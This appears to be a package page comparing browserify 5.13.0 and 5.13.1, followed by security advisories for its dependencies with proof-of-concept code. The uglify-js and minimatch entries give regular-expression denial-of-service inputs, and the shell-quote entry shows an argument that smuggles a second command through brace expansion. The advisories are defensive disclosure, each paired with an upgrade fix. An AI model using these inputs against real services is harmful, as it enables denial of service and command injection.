Browserify is a powerful tool for developers, enabling them to write Node.js-style modules that run directly in a browser. This makes it possible to reuse code and expertise across both server and client environments. Comparing versions 5.13.0 and 5.13.1, we find that both releases are essentially identical in their core functionality and dependencies. Both versions share the same core dependencies, including essential modules like module-deps, browser-pack, and numerous browser-specific shims for Node.js core modules such as http-browserify and crypto-browserify.
The key difference lies in their release dates: version 5.13.1 was published just a few minutes after 5.13.0. While the codebases are functionally equivalent, this micro-release likely addresses a build or packaging issue, a minor documentation update, or some other non-code-altering change. Developers upgrading from significantly older versions of Browserify will benefit from the accumulated improvements and bug fixes present in the 5.x series.
For those new to Browserify, it's crucial to understand its purpose. It allows you to organize your client-side JavaScript code into modules with require() and module.exports, similar to Node.js. This promotes code reusability and maintainability, especially in large projects. Browserify elegantly handles dependency resolution and bundles all your modules and their dependencies into a single file ready for the browser. If you are already using 5.13.0, upgrading to 5.13.1 provides no functional advantage but keeps you on the absolute latest available release.
All the vulnerabilities related to the version 5.13.1 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.